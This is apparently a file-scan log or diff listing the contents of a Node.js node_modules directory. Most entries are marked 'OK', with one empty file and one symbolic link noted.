+/scan/node_modules/@nodelib/fs.walk/out/readers/sync.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/readers/sync.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/readers/reader.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/readers/async.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/readers/common.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/readers/reader.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/readers/async.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/settings.js: OK
+/scan/node_modules/@nodelib/fs.walk/README.md: OK
+/scan/node_modules/@nodelib/fs.walk/package.json: OK
+/scan/node_modules/@nodelib/fs.stat/LICENSE: OK
+/scan/node_modules/@nodelib/fs.stat/out/types/index.js: OK
+/scan/node_modules/@nodelib/fs.stat/out/types/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.stat/out/settings.d.ts: OK
+/scan/node_modules/@nodelib/fs.stat/out/providers/sync.js: OK
+/scan/node_modules/@nodelib/fs.stat/out/providers/sync.d.ts: OK
+/scan/node_modules/@nodelib/fs.stat/out/providers/async.js: OK
+/scan/node_modules/@nodelib/fs.stat/out/providers/async.d.ts: OK
+/scan/node_modules/@nodelib/fs.stat/out/index.js: OK
+/scan/node_modules/@nodelib/fs.stat/out/adapters/fs.d.ts: OK
+/scan/node_modules/@nodelib/fs.stat/out/adapters/fs.js: OK
+/scan/node_modules/@nodelib/fs.stat/out/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.stat/out/settings.js: OK
+/scan/node_modules/@nodelib/fs.stat/README.md: OK
+/scan/node_modules/@nodelib/fs.stat/package.json: OK
+/scan/node_modules/@nodelib/fs.scandir/LICENSE: OK
+/scan/node_modules/@nodelib/fs.scandir/out/constants.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/constants.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/types/index.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/types/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/settings.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/providers/common.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/providers/sync.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/providers/sync.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/providers/async.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/providers/common.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/providers/async.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/index.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/utils/index.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/utils/fs.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/utils/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/utils/fs.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/adapters/fs.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/adapters/fs.js: OK
+/scan/node_modules/@nodelib/fs.scandir/out/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.scandir/out/settings.js: OK
+/scan/node_modules/@nodelib/fs.scandir/README.md: OK
+/scan/node_modules/@nodelib/fs.scandir/package.json: OK
+/scan/node_modules/basic-auth/LICENSE: OK
+/scan/node_modules/basic-auth/HISTORY.md: OK
+/scan/node_modules/basic-auth/node_modules/safe-buffer/LICENSE: OK
+/scan/node_modules/basic-auth/node_modules/safe-buffer/index.js: OK
+/scan/node_modules/basic-auth/node_modules/safe-buffer/README.md: OK
+/scan/node_modules/basic-auth/node_modules/safe-buffer/package.json: OK
+/scan/node_modules/basic-auth/node_modules/safe-buffer/index.d.ts: OK
+/scan/node_modules/basic-auth/index.js: OK
+/scan/node_modules/basic-auth/README.md: OK
+/scan/node_modules/basic-auth/package.json: OK
+/scan/node_modules/encodeurl/LICENSE: OK
+/scan/node_modules/encodeurl/index.js: OK
+/scan/node_modules/encodeurl/README.md: OK
+/scan/node_modules/encodeurl/package.json: OK
+/scan/node_modules/signal-exit/dist/mjs/signals.js.map: OK
+/scan/node_modules/signal-exit/dist/mjs/signals.js: OK
+/scan/node_modules/signal-exit/dist/mjs/index.js: OK
+/scan/node_modules/signal-exit/dist/mjs/browser.d.ts.map: OK
+/scan/node_modules/signal-exit/dist/mjs/package.json: OK
+/scan/node_modules/signal-exit/dist/mjs/browser.js.map: OK
+/scan/node_modules/signal-exit/dist/mjs/signals.d.ts.map: OK
+/scan/node_modules/signal-exit/dist/mjs/index.js.map: OK
+/scan/node_modules/signal-exit/dist/mjs/index.d.ts: OK
+/scan/node_modules/signal-exit/dist/mjs/signals.d.ts: OK
+/scan/node_modules/signal-exit/dist/mjs/browser.js: OK
+/scan/node_modules/signal-exit/dist/mjs/browser.d.ts: OK
+/scan/node_modules/signal-exit/dist/mjs/index.d.ts.map: OK
+/scan/node_modules/signal-exit/dist/cjs/signals.js.map: OK
+/scan/node_modules/signal-exit/dist/cjs/signals.js: OK
+/scan/node_modules/signal-exit/dist/cjs/index.js: OK
+/scan/node_modules/signal-exit/dist/cjs/browser.d.ts.map: OK
+/scan/node_modules/signal-exit/dist/cjs/package.json: OK
+/scan/node_modules/signal-exit/dist/cjs/browser.js.map: OK
+/scan/node_modules/signal-exit/dist/cjs/signals.d.ts.map: OK
+/scan/node_modules/signal-exit/dist/cjs/index.js.map: OK
+/scan/node_modules/signal-exit/dist/cjs/index.d.ts: OK
+/scan/node_modules/signal-exit/dist/cjs/signals.d.ts: OK
+/scan/node_modules/signal-exit/dist/cjs/browser.js: OK
+/scan/node_modules/signal-exit/dist/cjs/browser.d.ts: OK
+/scan/node_modules/signal-exit/dist/cjs/index.d.ts.map: OK
+/scan/node_modules/signal-exit/README.md: OK
+/scan/node_modules/signal-exit/package.json: OK
+/scan/node_modules/signal-exit/LICENSE.txt: OK
+/scan/node_modules/browserify-zlib/.npmignore: OK
+/scan/node_modules/browserify-zlib/LICENSE: OK
+/scan/node_modules/browserify-zlib/README.md: OK
+/scan/node_modules/browserify-zlib/yarn.lock: OK
+/scan/node_modules/browserify-zlib/package.json: OK
+/scan/node_modules/browserify-zlib/karma.conf.js: OK
+/scan/node_modules/browserify-zlib/lib/index.js: OK
+/scan/node_modules/browserify-zlib/lib/binding.js: OK
+/scan/node_modules/browserify-zlib/.travis.yml: OK
+/scan/node_modules/browserify-zlib/src/index.js: OK
+/scan/node_modules/browserify-zlib/src/binding.js: OK
+/scan/node_modules/dfa/compile.js.map: OK
+/scan/node_modules/dfa/index.js: OK
+/scan/node_modules/dfa/README.md: OK
+/scan/node_modules/dfa/package.json: OK
+/scan/node_modules/dfa/index.js.map: OK
+/scan/node_modules/dfa/compile.js: OK
+/scan/node_modules/postcss-js/LICENSE: OK
+/scan/node_modules/postcss-js/sync.js: OK
+/scan/node_modules/postcss-js/index.js: OK
+/scan/node_modules/postcss-js/README.md: OK
+/scan/node_modules/postcss-js/objectifier.js: OK
+/scan/node_modules/postcss-js/async.js: OK
+/scan/node_modules/postcss-js/process-result.js: OK
+/scan/node_modules/postcss-js/package.json: OK
+/scan/node_modules/postcss-js/index.mjs: OK
+/scan/node_modules/postcss-js/parser.js: OK
+/scan/node_modules/wrap-ansi/license: OK
+/scan/node_modules/wrap-ansi/index.js: OK
+/scan/node_modules/wrap-ansi/readme.md: OK
+/scan/node_modules/wrap-ansi/package.json: OK
+/scan/node_modules/y18n/LICENSE: OK
+/scan/node_modules/y18n/CHANGELOG.md: OK
+/scan/node_modules/y18n/README.md: OK
+/scan/node_modules/y18n/package.json: OK
+/scan/node_modules/y18n/index.mjs: OK
+/scan/node_modules/y18n/build/index.cjs: OK
+/scan/node_modules/y18n/build/lib/cjs.js: OK
+/scan/node_modules/y18n/build/lib/platform-shims/node.js: OK
+/scan/node_modules/y18n/build/lib/index.js: OK
+/scan/node_modules/once/LICENSE: OK
+/scan/node_modules/once/README.md: OK
+/scan/node_modules/once/package.json: OK
+/scan/node_modules/once/once.js: OK
+/scan/node_modules/lodash.isboolean/LICENSE: OK
+/scan/node_modules/lodash.isboolean/index.js: OK
+/scan/node_modules/lodash.isboolean/README.md: OK
+/scan/node_modules/lodash.isboolean/package.json: OK
+/scan/node_modules/prettier/LICENSE: OK
+/scan/node_modules/prettier/bin/prettier.cjs: OK
+/scan/node_modules/prettier/THIRD-PARTY-NOTICES.md: OK
+/scan/node_modules/prettier/standalone.js: OK
+/scan/node_modules/prettier/plugins/html.js: OK
+/scan/node_modules/prettier/plugins/glimmer.js: OK
+/scan/node_modules/prettier/plugins/postcss.js: OK
+/scan/node_modules/prettier/plugins/graphql.mjs: OK
+/scan/node_modules/prettier/plugins/estree.mjs: OK
+/scan/node_modules/prettier/plugins/typescript.js: OK
+/scan/node_modules/prettier/plugins/babel.d.ts: OK
+/scan/node_modules/prettier/plugins/yaml.mjs: OK
+/scan/node_modules/prettier/plugins/flow.js: OK
+/scan/node_modules/prettier/plugins/html.mjs: OK
+/scan/node_modules/prettier/plugins/graphql.js: OK
+/scan/node_modules/prettier/plugins/meriyah.d.ts: OK
+/scan/node_modules/prettier/plugins/acorn.mjs: OK
+/scan/node_modules/prettier/plugins/meriyah.js: OK
+/scan/node_modules/prettier/plugins/typescript.mjs: OK
+/scan/node_modules/prettier/plugins/markdown.d.ts: OK
+/scan/node_modules/prettier/plugins/babel.mjs: OK
+/scan/node_modules/prettier/plugins/glimmer.d.ts: OK
+/scan/node_modules/prettier/plugins/acorn.d.ts: OK
+/scan/node_modules/prettier/plugins/estree.d.ts: OK
+/scan/node_modules/prettier/plugins/glimmer.mjs: OK
+/scan/node_modules/prettier/plugins/postcss.mjs: OK
+/scan/node_modules/prettier/plugins/angular.js: OK
+/scan/node_modules/prettier/plugins/flow.mjs: OK
+/scan/node_modules/prettier/plugins/postcss.d.ts: OK
+/scan/node_modules/prettier/plugins/flow.d.ts: OK
+/scan/node_modules/prettier/plugins/markdown.mjs: OK
+/scan/node_modules/prettier/plugins/acorn.js: OK
+/scan/node_modules/prettier/plugins/angular.d.ts: OK
+/scan/node_modules/prettier/plugins/yaml.d.ts: OK
+/scan/node_modules/prettier/plugins/meriyah.mjs: OK
+/scan/node_modules/prettier/plugins/angular.mjs: OK
+/scan/node_modules/prettier/plugins/babel.js: OK
+/scan/node_modules/prettier/plugins/html.d.ts: OK
+/scan/node_modules/prettier/plugins/yaml.js: OK
+/scan/node_modules/prettier/plugins/graphql.d.ts: OK
+/scan/node_modules/prettier/plugins/typescript.d.ts: OK
+/scan/node_modules/prettier/plugins/markdown.js: OK
+/scan/node_modules/prettier/plugins/estree.js: OK
+/scan/node_modules/prettier/internal/experimental-cli.mjs: OK
+/scan/node_modules/prettier/internal/experimental-cli-worker.mjs: OK
+/scan/node_modules/prettier/internal/legacy-cli.mjs: OK
+/scan/node_modules/prettier/standalone.mjs: OK
+/scan/node_modules/prettier/standalone.d.ts: OK
+/scan/node_modules/prettier/README.md: OK
+/scan/node_modules/prettier/package.json: OK
+/scan/node_modules/prettier/doc.d.ts: OK
+/scan/node_modules/prettier/doc.mjs: OK
+/scan/node_modules/prettier/index.cjs: OK
+/scan/node_modules/prettier/index.mjs: OK
+/scan/node_modules/prettier/index.d.ts: OK
+/scan/node_modules/prettier/doc.js: OK
+/scan/node_modules/d3-color/LICENSE: OK
+/scan/node_modules/d3-color/dist/d3-color.min.js: OK
+/scan/node_modules/d3-color/dist/d3-color.js: OK
+/scan/node_modules/d3-color/README.md: OK
+/scan/node_modules/d3-color/package.json: OK
+/scan/node_modules/d3-color/src/index.js: OK
+/scan/node_modules/d3-color/src/define.js: OK
+/scan/node_modules/d3-color/src/color.js: OK
+/scan/node_modules/d3-color/src/cubehelix.js: OK
+/scan/node_modules/d3-color/src/math.js: OK
+/scan/node_modules/d3-color/src/lab.js: OK
+/scan/node_modules/proxy-from-env/LICENSE: OK
+/scan/node_modules/proxy-from-env/index.js: OK
+/scan/node_modules/proxy-from-env/README.md: OK
+/scan/node_modules/proxy-from-env/package.json: OK
+/scan/node_modules/proxy-from-env/index.cjs: OK
+/scan/node_modules/gaxios/LICENSE: OK
+/scan/node_modules/gaxios/CHANGELOG.md: OK
+/scan/node_modules/gaxios/node_modules/.bin/uuid: Symbolic link
+/scan/node_modules/gaxios/node_modules/uuid/LICENSE.md: OK
+/scan/node_modules/gaxios/node_modules/uuid/CHANGELOG.md: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/sha1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/stringify.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/rng.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/sha1-browser.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/md5-browser.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/native.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/bin/uuid: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/v4.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/v1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/index.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/v5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/v35.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/version.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/parse.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/sha1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/stringify.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/rng.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/native.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/v4.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/v1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/index.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/v5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/v35.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/version.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/parse.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/md5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/v3.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/regex.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/validate.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-browser/nil.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/uuid-bin.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/md5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/v3.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/regex.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/native-browser.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/sha1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/stringify.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/rng.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/native.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/v4.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/v1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/index.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/v5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/v35.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/version.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/parse.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/md5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/v3.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/regex.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/validate.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/esm-node/nil.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/sha1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/stringify.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/rng.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/native.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/v4.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/v1.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/index.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/v5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/v35.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/version.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/parse.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/md5.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/v3.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/regex.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/validate.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/commonjs-browser/nil.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/rng-browser.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/validate.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/dist/nil.js: OK
+/scan/node_modules/gaxios/node_modules/uuid/wrapper.mjs: OK
+/scan/node_modules/gaxios/node_modules/uuid/README.md: OK
+/scan/node_modules/gaxios/node_modules/uuid/package.json: OK
+/scan/node_modules/gaxios/node_modules/uuid/CONTRIBUTING.md: OK
+/scan/node_modules/gaxios/README.md: OK
+/scan/node_modules/gaxios/package.json: OK
+/scan/node_modules/gaxios/build/src/util.js: OK
+/scan/node_modules/gaxios/build/src/util.js.map: OK
+/scan/node_modules/gaxios/build/src/common.d.ts: OK
+/scan/node_modules/gaxios/build/src/interceptor.js.map: OK
+/scan/node_modules/gaxios/build/src/index.js: OK
+/scan/node_modules/gaxios/build/src/gaxios.js: OK
+/scan/node_modules/gaxios/build/src/gaxios.js.map: OK
+/scan/node_modules/gaxios/build/src/index.js.map: OK
+/scan/node_modules/gaxios/build/src/retry.js.map: OK
+/scan/node_modules/gaxios/build/src/common.js: OK
+/scan/node_modules/gaxios/build/src/gaxios.d.ts: OK
+/scan/node_modules/gaxios/build/src/util.d.ts: OK
+/scan/node_modules/gaxios/build/src/index.d.ts: OK
+/scan/node_modules/gaxios/build/src/retry.js: OK
+/scan/node_modules/gaxios/build/src/retry.d.ts: OK
+/scan/node_modules/gaxios/build/src/interceptor.d.ts: OK
+/scan/node_modules/gaxios/build/src/interceptor.js: OK
+/scan/node_modules/gaxios/build/src/common.js.map: OK
+/scan/node_modules/ignore/index.js: OK
+/scan/node_modules/ignore/legacy.js: OK
+/scan/node_modules/ignore/README.md: OK
+/scan/node_modules/ignore/package.json: OK
+/scan/node_modules/ignore/index.d.ts: OK
+/scan/node_modules/ignore/LICENSE-MIT: OK
+/scan/node_modules/turbo/LICENSE: OK
+/scan/node_modules/turbo/bin/turbo: OK
+/scan/node_modules/turbo/README.md: OK
+/scan/node_modules/turbo/package.json: OK
+/scan/node_modules/vitest/globals.d.ts: OK
+/scan/node_modules/vitest/LICENSE.md: OK
+/scan/node_modules/vitest/environments.d.ts: OK
+/scan/node_modules/vitest/dist/suite-dWqIFb_-.d.ts: OK
+/scan/node_modules/vitest/dist/execute.js: OK
+/scan/node_modules/vitest/dist/spy.js: OK
+/scan/node_modules/vitest/dist/coverage.js: OK
+/scan/node_modules/vitest/dist/environments.d.ts: OK
+/scan/node_modules/vitest/dist/config.d.ts: OK
+/scan/node_modules/vitest/dist/worker.js: OK
+/scan/node_modules/vitest/dist/runners.d.ts: OK
+/scan/node_modules/vitest/dist/index.js: OK
+/scan/node_modules/vitest/dist/suite.js: OK
+/scan/node_modules/vitest/dist/snapshot.d.ts: OK
+/scan/node_modules/vitest/dist/config.js: OK
+/scan/node_modules/vitest/dist/suite.d.ts: OK
+/scan/node_modules/vitest/dist/execute.d.ts: OK
+/scan/node_modules/vitest/dist/chunks/node-git.Hw101KjS.js: OK
+/scan/node_modules/vitest/dist/chunks/install-pkg.LE8oaA1t.js: OK
+/scan/node_modules/vitest/dist/chunks/runtime-console.EO5ha7qv.js: OK
+/scan/node_modules/vitest/dist/chunks/runtime-runBaseTests.oAvMKtQC.js: OK
+/scan/node_modules/vitest/dist/chunks/integrations-globals.kw4co3rx.js: OK
+/scan/node_modules/vitest/dist/chunks/environments-node.vcoXCoKs.js: OK
+/scan/node_modules/vitest/dist/node.js: OK
+/scan/node_modules/vitest/dist/workers.js: OK
+/scan/node_modules/vitest/dist/utils.d.ts: OK
+/scan/node_modules/vitest/dist/snapshot.js: OK
+/scan/node_modules/vitest/dist/workers.d.ts: OK
+/scan/node_modules/vitest/dist/path.js: OK
+/scan/node_modules/vitest/dist/coverage.d.ts: OK
+/scan/node_modules/vitest/dist/workers/vmThreads.js: OK
+/scan/node_modules/vitest/dist/workers/runVmTests.js: OK
+/scan/node_modules/vitest/dist/workers/threads.js: OK
+/scan/node_modules/vitest/dist/workers/vmForks.js: OK
+/scan/node_modules/vitest/dist/workers/forks.js: OK
+/scan/node_modules/vitest/dist/cli.js: OK
+/scan/node_modules/vitest/dist/utils.js: OK
+/scan/node_modules/vitest/dist/cli-wrapper.js: OK
+/scan/node_modules/vitest/dist/index.d.ts: OK
+/scan/node_modules/vitest/dist/browser.js: OK
+/scan/node_modules/vitest/dist/reporters.js: OK
+/scan/node_modules/vitest/dist/node.d.ts: OK
+/scan/node_modules/vitest/dist/reporters-w_64AS5f.d.ts: OK
+/scan/node_modules/vitest/dist/browser.d.ts: OK
+/scan/node_modules/vitest/dist/environments.js: OK
+/scan/node_modules/vitest/dist/vendor/index.DpVgvm2P.js: OK
+/scan/node_modules/vitest/dist/vendor/_commonjsHelpers.jjO7Zipk.js: OK
+/scan/node_modules/vitest/dist/vendor/index.8bPxjt7g.js: OK
+/scan/node_modules/vitest/dist/vendor/inspector.IgLX3ur5.js: OK
+/scan/node_modules/vitest/dist/vendor/index.GVFv9dZ0.js: OK
+/scan/node_modules/vitest/dist/vendor/cac.cdAtVkJZ.js: OK
+/scan/node_modules/vitest/dist/vendor/run-once.Olz_Zkd8.js: OK
+/scan/node_modules/vitest/dist/vendor/utils.0uYuCbzo.js: OK
+/scan/node_modules/vitest/dist/vendor/cli-api.OdDWuB7Y.js: OK
+/scan/node_modules/vitest/dist/vendor/base.Ybri3C14.js: OK
+/scan/node_modules/vitest/dist/vendor/env.AtSIuHFg.js: OK
+/scan/node_modules/vitest/dist/vendor/constants.5J7I254_.js: OK
+/scan/node_modules/vitest/dist/vendor/utils.dEtNIEgr.js: OK
+/scan/node_modules/vitest/dist/vendor/rpc.joBhAkyK.js: OK
+/scan/node_modules/vitest/dist/vendor/global.CkGT_TMy.js: OK
+/scan/node_modules/vitest/dist/vendor/setup-common.8nJLd4ay.js: OK
+/scan/node_modules/vitest/dist/vendor/date.Ns1pGd_X.js: OK
+/scan/node_modules/vitest/dist/vendor/coverage.E7sG1b3r.js: OK
+/scan/node_modules/vitest/dist/vendor/index.SMVOaj7F.js: OK
+/scan/node_modules/vitest/dist/vendor/index.dI9lHwVn.js: OK
+/scan/node_modules/vitest/dist/vendor/tasks.IknbGB2n.js: OK
+/scan/node_modules/vitest/dist/vendor/execute.fL3szUAI.js: OK
+/scan/node_modules/vitest/dist/vendor/index.-xs08BYx.js: OK
+/scan/node_modules/vitest/dist/vendor/vi.YFlodzP_.js: OK
+/scan/node_modules/vitest/dist/vendor/index.xL8XjTLv.js: OK
+/scan/node_modules/vitest/dist/vendor/benchmark.yGkUTKnC.js: OK
+/scan/node_modules/vitest/dist/vendor/base.5NT-gWu5.js: OK
+/scan/node_modules/vitest/dist/vendor/vm.QEE48c0T.js: OK
+/scan/node_modules/vitest/dist/runners.js: OK
+/scan/node_modules/vitest/dist/reporters.d.ts: OK
+/scan/node_modules/vitest/dist/config.cjs: OK
+/scan/node_modules/vitest/config.d.ts: OK
+/scan/node_modules/vitest/index.d.cts: OK
+/scan/node_modules/vitest/runners.d.ts: OK
+/scan/node_modules/vitest/suppress-warnings.cjs: OK
+/scan/node_modules/vitest/snapshot.d.ts: OK
+/scan/node_modules/vitest/suite.d.ts: OK
+/scan/node_modules/vitest/README.md: OK
+/scan/node_modules/vitest/execute.d.ts: OK
+/scan/node_modules/vitest/package.json: OK
+/scan/node_modules/vitest/jsdom.d.ts: OK
+/scan/node_modules/vitest/utils.d.ts: OK
+/scan/node_modules/vitest/index.cjs: OK
+/scan/node_modules/vitest/workers.d.ts: OK
+/scan/node_modules/vitest/coverage.d.ts: OK
+/scan/node_modules/vitest/vitest.mjs: OK
+/scan/node_modules/vitest/importMeta.d.ts: OK
+/scan/node_modules/vitest/node.d.ts: OK
+/scan/node_modules/vitest/browser.d.ts: OK
+/scan/node_modules/vitest/import-meta.d.ts: OK
+/scan/node_modules/vitest/reporters.d.ts: OK
+/scan/node_modules/assertion-error/History.md: OK
+/scan/node_modules/assertion-error/index.js: OK
+/scan/node_modules/assertion-error/README.md: OK
+/scan/node_modules/assertion-error/package.json: OK
+/scan/node_modules/assertion-error/index.d.ts: OK
+/scan/node_modules/esrecurse/.babelrc: OK
+/scan/node_modules/esrecurse/esrecurse.js: OK
+/scan/node_modules/esrecurse/README.md: OK
+/scan/node_modules/esrecurse/gulpfile.babel.js: OK
+/scan/node_modules/esrecurse/package.json: OK
+/scan/node_modules/string_decoder/LICENSE: OK
+/scan/node_modules/string_decoder/README.md: OK
+/scan/node_modules/string_decoder/package.json: OK
+/scan/node_modules/string_decoder/lib/string_decoder.js: OK
+/scan/node_modules/fast-xml-builder/LICENSE: OK
+/scan/node_modules/fast-xml-builder/CHANGELOG.md: OK
+/scan/node_modules/fast-xml-builder/README.md: OK
+/scan/node_modules/fast-xml-builder/package.json: OK
+/scan/node_modules/fast-xml-builder/lib/fxb.min.js.map: OK
+/scan/node_modules/fast-xml-builder/lib/fxb.cjs: OK
+/scan/node_modules/fast-xml-builder/lib/fxb.min.js: OK
+/scan/node_modules/fast-xml-builder/lib/fxb.d.cts: OK
+/scan/node_modules/fast-xml-builder/src/fxb.js: OK
+/scan/node_modules/fast-xml-builder/src/orderedJs2Xml.js: OK
+/scan/node_modules/fast-xml-builder/src/fxb.d.ts: OK
+/scan/node_modules/fast-xml-builder/src/ignoreAttributes.js: OK
+/scan/node_modules/fast-xml-builder/src/prettifyJs2Xml.js: Empty file
+/scan/node_modules/brotli/index.js: OK
+/scan/node_modules/brotli/decompress.js: OK
+/scan/node_modules/brotli/readme.md: OK
+/scan/node_modules/brotli/enc/pre.js: OK
+/scan/node_modules/brotli/package.json: OK
+/scan/node_modules/brotli/dec/huffman.js: OK
+/scan/node_modules/brotli/dec/dictionary-data.js: OK
+/scan/node_modules/brotli/dec/prefix.js: OK
+/scan/node_modules/brotli/dec/streams.js: OK
+/scan/node_modules/brotli/dec/decode.js: OK
+/scan/node_modules/brotli/dec/dictionary.js: OK
+/scan/node_modules/brotli/dec/dictionary.bin.js: OK
+/scan/node_modules/brotli/dec/bit_reader.js: OK
+/scan/node_modules/brotli/dec/context.js: OK
+/scan/node_modules/brotli/dec/dictionary-browser.js: OK
+/scan/node_modules/brotli/dec/transform.js: OK
+/scan/node_modules/brotli/build/encode.js: OK
+/scan/node_modules/brotli/build/mem.js: OK
+/scan/node_modules/brotli/compress.js: OK
+/scan/node_modules/merge-descriptors/LICENSE: OK
+/scan/node_modules/merge-descriptors/HISTORY.md: OK
+/scan/node_modules/merge-descriptors/index.js: OK
+/scan/node_modules/merge-descriptors/README.md: OK
+/scan/node_modules/merge-descriptors/package.json: OK
+/scan/node_modules/tslib/tslib.d.ts: OK
+/scan/node_modules/tslib/tslib.js: OK
+/scan/node_modules/tslib/CopyrightNotice.txt: OK
+/scan/node_modules/tslib/README.md: OK
+/scan/node_modules/tslib/tslib.es6.js: OK
+/scan/node_modules/tslib/package.json: OK
+/scan/node_modules/tslib/tslib.es6.html: OK
+/scan/node_modules/tslib/LICENSE.txt: OK
+/scan/node_modules/tslib/modules/index.js: OK
+/scan/node_modules/tslib/modules/package.json: OK
+/scan/node_modules/tslib/tslib.html: OK
+/scan/node_modules/tslib/SECURITY.md: OK
+/scan/node_modules/typedarray/LICENSE: OK
+/scan/node_modules/typedarray/test/tarray.js: OK
+/scan/node_modules/typedarray/test/server/undef_globals.js: OK
+/scan/node_modules/typedarray/example/tarray.js: OK
+/scan/node_modules/typedarray/index.js: OK
+/scan/node_modules/typedarray/readme.markdown: OK
+/scan/node_modules/typedarray/package.json: OK
+/scan/node_modules/typedarray/.travis.yml: OK
+/scan/node_modules/magic-string/LICENSE: OK
+/scan/node_modules/magic-string/dist/magic-string.es.mjs: OK
+/scan/node_modules/magic-string/dist/magic-string.cjs.js: OK
+/scan/node_modules/magic-string/dist/magic-string.umd.js.map: OK
+/scan/node_modules/magic-string/dist/magic-string.umd.js: OK
